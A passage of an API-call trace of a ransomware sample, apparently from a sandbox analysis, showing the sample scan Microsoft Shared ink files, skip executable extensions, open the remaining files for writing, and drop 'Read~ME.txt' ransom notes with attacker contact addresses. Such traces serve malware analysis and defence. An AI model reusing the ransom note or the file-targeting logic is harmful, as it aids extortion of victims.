	[0078.649] lstrlenW (lpString=".sys") returned 4
	[0078.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml", lpSrch=".sys") returned 0x0
	[0078.649] lstrlenW (lpString=".msc") returned 4
	[0078.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml", lpSrch=".msc") returned 0x0
	[0078.649] lstrlenW (lpString=".com") returned 4
	[0078.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml", lpSrch=".com") returned 0x0
	[0078.649] lstrlenW (lpString=".lnk") returned 4
	[0078.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml", lpSrch=".lnk") returned 0x0
	[0078.649] lstrlenW (lpString=".msp") returned 4
	[0078.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml", lpSrch=".msp") returned 0x0
	[0078.649] lstrlenW (lpString=".pif") returned 4
	[0078.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml", lpSrch=".pif") returned 0x0
	[0078.649] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1450 | out: hHeap=0x300000) returned 1
	[0078.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ee0 | out: hHeap=0x300000) returned 1
	[0078.660] RtlWakeConditionVariable () returned 0x365f70
	[0078.660] GetCurrentThreadId () returned 0xaf0
	[0078.660] GetCurrentThreadId () returned 0xaf0
	[0078.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ee0
	[0078.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b16b0 | out: hHeap=0x300000) returned 1
	[0078.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6c38 | out: hHeap=0x300000) returned 1
	[0078.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b16b0
	[0078.660] lstrlenW (lpString=".scr") returned 4
	[0078.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml", lpSrch=".scr") returned 0x0
	[0078.661] lstrlenW (lpString=".cmd") returned 4
	[0078.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml", lpSrch=".cmd") returned 0x0
	[0078.661] lstrlenW (lpString=".dll") returned 4
	[0078.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml", lpSrch=".dll") returned 0x0
	[0078.661] lstrlenW (lpString=".bat") returned 4
	[0078.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml", lpSrch=".bat") returned 0x0
	[0078.661] lstrlenW (lpString=".cpl") returned 4
	[0078.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml", lpSrch=".cpl") returned 0x0
	[0078.661] lstrlenW (lpString=".sys") returned 4
	[0078.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml", lpSrch=".sys") returned 0x0
	[0078.661] lstrlenW (lpString=".msc") returned 4
	[0078.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml", lpSrch=".msc") returned 0x0
	[0078.661] lstrlenW (lpString=".com") returned 4
	[0078.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml", lpSrch=".com") returned 0x0
	[0078.661] lstrlenW (lpString=".lnk") returned 4
	[0078.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml", lpSrch=".lnk") returned 0x0
	[0078.661] lstrlenW (lpString=".msp") returned 4
	[0078.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml", lpSrch=".msp") returned 0x0
	[0078.661] lstrlenW (lpString=".pif") returned 4
	[0078.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml", lpSrch=".pif") returned 0x0
	[0078.661] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b16b0 | out: hHeap=0x300000) returned 1
	[0078.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ee0 | out: hHeap=0x300000) returned 1
	[0078.679] RtlWakeConditionVariable () returned 0x365f70
	[0078.679] GetCurrentThreadId () returned 0xaf0
	[0078.679] GetCurrentThreadId () returned 0xaf0
	[0078.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4700
	[0078.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4c40 | out: hHeap=0x300000) returned 1
	[0078.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39df88 | out: hHeap=0x300000) returned 1
	[0078.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4c40
	[0078.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.715] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.715] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.716] CloseHandle (hObject=0x120) returned 1
	[0078.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4c40 | out: hHeap=0x300000) returned 1
	[0078.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4700 | out: hHeap=0x300000) returned 1
	[0078.717] RtlWakeConditionVariable () returned 0x365f70
	[0078.717] GetCurrentThreadId () returned 0xaf0
	[0078.717] GetCurrentThreadId () returned 0xaf0
	[0078.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b16b0
	[0078.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b17e0 | out: hHeap=0x300000) returned 1
	[0078.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6e30 | out: hHeap=0x300000) returned 1
	[0078.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b17e0
	[0078.717] lstrlenW (lpString=".scr") returned 4
	[0078.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll", lpSrch=".scr") returned 0x0
	[0078.717] lstrlenW (lpString=".cmd") returned 4
	[0078.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll", lpSrch=".cmd") returned 0x0
	[0078.717] lstrlenW (lpString=".dll") returned 4
	[0078.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll", lpSrch=".dll") returned=".dll"
	[0078.717] lstrlenW (lpString=".dll") returned 4
	[0078.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b17e0 | out: hHeap=0x300000) returned 1
	[0078.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b16b0 | out: hHeap=0x300000) returned 1
	[0078.718] RtlWakeConditionVariable () returned 0x365f70
	[0078.718] GetCurrentThreadId () returned 0xaf0
	[0078.718] GetCurrentThreadId () returned 0xaf0
	[0078.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4700
	[0078.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4e38 | out: hHeap=0x300000) returned 1
	[0078.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6e68 | out: hHeap=0x300000) returned 1
	[0078.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4e38
	[0078.718] lstrlenW (lpString=".scr") returned 4
	[0078.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll", lpSrch=".scr") returned 0x0
	[0078.718] lstrlenW (lpString=".cmd") returned 4
	[0078.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll", lpSrch=".cmd") returned 0x0
	[0078.718] lstrlenW (lpString=".dll") returned 4
	[0078.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll", lpSrch=".dll") returned=".dll"
	[0078.718] lstrlenW (lpString=".dll") returned 4
	[0078.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4e38 | out: hHeap=0x300000) returned 1
	[0078.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4700 | out: hHeap=0x300000) returned 1
	[0078.718] RtlWakeConditionVariable () returned 0x365f70
	[0078.718] GetCurrentThreadId () returned 0xaf0
	[0078.718] GetCurrentThreadId () returned 0xaf0
	[0078.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0078.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a0048 | out: hHeap=0x300000) returned 1
	[0078.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6ea0 | out: hHeap=0x300000) returned 1
	[0078.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x3a0048
	[0078.719] lstrlenW (lpString=".scr") returned 4
	[0078.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe", lpSrch=".scr") returned 0x0
	[0078.719] lstrlenW (lpString=".cmd") returned 4
	[0078.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe", lpSrch=".cmd") returned 0x0
	[0078.719] lstrlenW (lpString=".dll") returned 4
	[0078.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe", lpSrch=".dll") returned 0x0
	[0078.719] lstrlenW (lpString=".bat") returned 4
	[0078.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe", lpSrch=".bat") returned 0x0
	[0078.719] lstrlenW (lpString=".cpl") returned 4
	[0078.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe", lpSrch=".cpl") returned 0x0
	[0078.719] lstrlenW (lpString=".sys") returned 4
	[0078.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe", lpSrch=".sys") returned 0x0
	[0078.719] lstrlenW (lpString=".msc") returned 4
	[0078.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe", lpSrch=".msc") returned 0x0
	[0078.720] lstrlenW (lpString=".com") returned 4
	[0078.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe", lpSrch=".com") returned 0x0
	[0078.720] lstrlenW (lpString=".lnk") returned 4
	[0078.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe", lpSrch=".lnk") returned 0x0
	[0078.720] lstrlenW (lpString=".msp") returned 4
	[0078.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe", lpSrch=".msp") returned 0x0
	[0078.720] lstrlenW (lpString=".pif") returned 4
	[0078.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe", lpSrch=".pif") returned 0x0
	[0078.720] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe", lpSrch="msp\r\n.pif") returned 0x0
	[0078.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a0048 | out: hHeap=0x300000) returned 1
	[0078.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39fe28 | out: hHeap=0x300000) returned 1
	[0078.720] RtlWakeConditionVariable () returned 0x365f70
	[0078.720] GetCurrentThreadId () returned 0xaf0
	[0078.720] GetCurrentThreadId () returned 0xaf0
	[0078.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b16b0
	[0078.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1878 | out: hHeap=0x300000) returned 1
	[0078.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6ed8 | out: hHeap=0x300000) returned 1
	[0078.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1878
	[0078.721] lstrlenW (lpString=".scr") returned 4
	[0078.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll", lpSrch=".scr") returned 0x0
	[0078.721] lstrlenW (lpString=".cmd") returned 4
	[0078.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll", lpSrch=".cmd") returned 0x0
	[0078.721] lstrlenW (lpString=".dll") returned 4
	[0078.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll", lpSrch=".dll") returned=".dll"
	[0078.721] lstrlenW (lpString=".dll") returned 4
	[0078.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1878 | out: hHeap=0x300000) returned 1
	[0078.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b16b0 | out: hHeap=0x300000) returned 1
	[0078.721] RtlWakeConditionVariable () returned 0x365f70
	[0078.721] GetCurrentThreadId () returned 0xaf0
	[0078.721] GetCurrentThreadId () returned 0xaf0
	[0078.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b16b0
	[0078.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1910 | out: hHeap=0x300000) returned 1
	[0078.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6f10 | out: hHeap=0x300000) returned 1
	[0078.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1910
	[0078.721] lstrlenW (lpString=".scr") returned 4
	[0078.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll", lpSrch=".scr") returned 0x0
	[0078.721] lstrlenW (lpString=".cmd") returned 4
	[0078.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll", lpSrch=".cmd") returned 0x0
	[0078.722] lstrlenW (lpString=".dll") returned 4
	[0078.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll", lpSrch=".dll") returned=".dll"
	[0078.722] lstrlenW (lpString=".dll") returned 4
	[0078.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1910 | out: hHeap=0x300000) returned 1
	[0078.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b16b0 | out: hHeap=0x300000) returned 1
	[0078.722] RtlWakeConditionVariable () returned 0x365f70
	[0078.722] GetCurrentThreadId () returned 0xaf0
	[0078.722] GetCurrentThreadId () returned 0xaf0
	[0078.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b16b0
	[0078.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b19a8 | out: hHeap=0x300000) returned 1
	[0078.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6f48 | out: hHeap=0x300000) returned 1
	[0078.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b19a8
	[0078.722] lstrlenW (lpString=".scr") returned 4
	[0078.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll", lpSrch=".scr") returned 0x0
	[0078.722] lstrlenW (lpString=".cmd") returned 4
	[0078.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll", lpSrch=".cmd") returned 0x0
	[0078.722] lstrlenW (lpString=".dll") returned 4
	[0078.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll", lpSrch=".dll") returned=".dll"
	[0078.722] lstrlenW (lpString=".dll") returned 4
	[0078.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b19a8 | out: hHeap=0x300000) returned 1
	[0078.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b16b0 | out: hHeap=0x300000) returned 1
	[0078.722] RtlWakeConditionVariable () returned 0x365f70
	[0078.722] GetCurrentThreadId () returned 0xaf0
	[0078.723] GetCurrentThreadId () returned 0xaf0
	[0078.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4700
	[0078.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4ee0 | out: hHeap=0x300000) returned 1
	[0078.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6f80 | out: hHeap=0x300000) returned 1
	[0078.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4ee0
	[0078.723] lstrlenW (lpString=".scr") returned 4
	[0078.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.723] lstrlenW (lpString=".cmd") returned 4
	[0078.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.723] lstrlenW (lpString=".dll") returned 4
	[0078.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.723] lstrlenW (lpString=".dll.mui") returned 8
	[0078.723] lstrlenW (lpString=".bat") returned 4
	[0078.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.723] lstrlenW (lpString=".cpl") returned 4
	[0078.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.723] lstrlenW (lpString=".sys") returned 4
	[0078.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.723] lstrlenW (lpString=".msc") returned 4
	[0078.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.723] lstrlenW (lpString=".com") returned 4
	[0078.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.723] lstrlenW (lpString=".lnk") returned 4
	[0078.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.724] lstrlenW (lpString=".msp") returned 4
	[0078.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.724] lstrlenW (lpString=".pif") returned 4
	[0078.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.724] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4ee0 | out: hHeap=0x300000) returned 1
	[0078.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4700 | out: hHeap=0x300000) returned 1
	[0078.724] RtlWakeConditionVariable () returned 0x365f70
	[0078.724] GetCurrentThreadId () returned 0xaf0
	[0078.724] GetCurrentThreadId () returned 0xaf0
	[0078.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4700
	[0078.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4f88 | out: hHeap=0x300000) returned 1
	[0078.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6fb8 | out: hHeap=0x300000) returned 1
	[0078.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4f88
	[0078.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.726] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.726] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.727] CloseHandle (hObject=0x120) returned 1
	[0078.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4f88 | out: hHeap=0x300000) returned 1
	[0078.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4700 | out: hHeap=0x300000) returned 1
	[0078.727] RtlWakeConditionVariable () returned 0x365f70
	[0078.727] GetCurrentThreadId () returned 0xaf0
	[0078.727] GetCurrentThreadId () returned 0xaf0
	[0078.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4700
	[0078.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5030 | out: hHeap=0x300000) returned 1
	[0078.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6ff0 | out: hHeap=0x300000) returned 1
	[0078.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f5030
	[0078.728] lstrlenW (lpString=".scr") returned 4
	[0078.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.728] lstrlenW (lpString=".cmd") returned 4
	[0078.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.728] lstrlenW (lpString=".dll") returned 4
	[0078.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.728] lstrlenW (lpString=".dll.mui") returned 8
	[0078.728] lstrlenW (lpString=".bat") returned 4
	[0078.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.728] lstrlenW (lpString=".cpl") returned 4
	[0078.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.728] lstrlenW (lpString=".sys") returned 4
	[0078.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.728] lstrlenW (lpString=".msc") returned 4
	[0078.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.728] lstrlenW (lpString=".com") returned 4
	[0078.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.728] lstrlenW (lpString=".lnk") returned 4
	[0078.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.728] lstrlenW (lpString=".msp") returned 4
	[0078.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.728] lstrlenW (lpString=".pif") returned 4
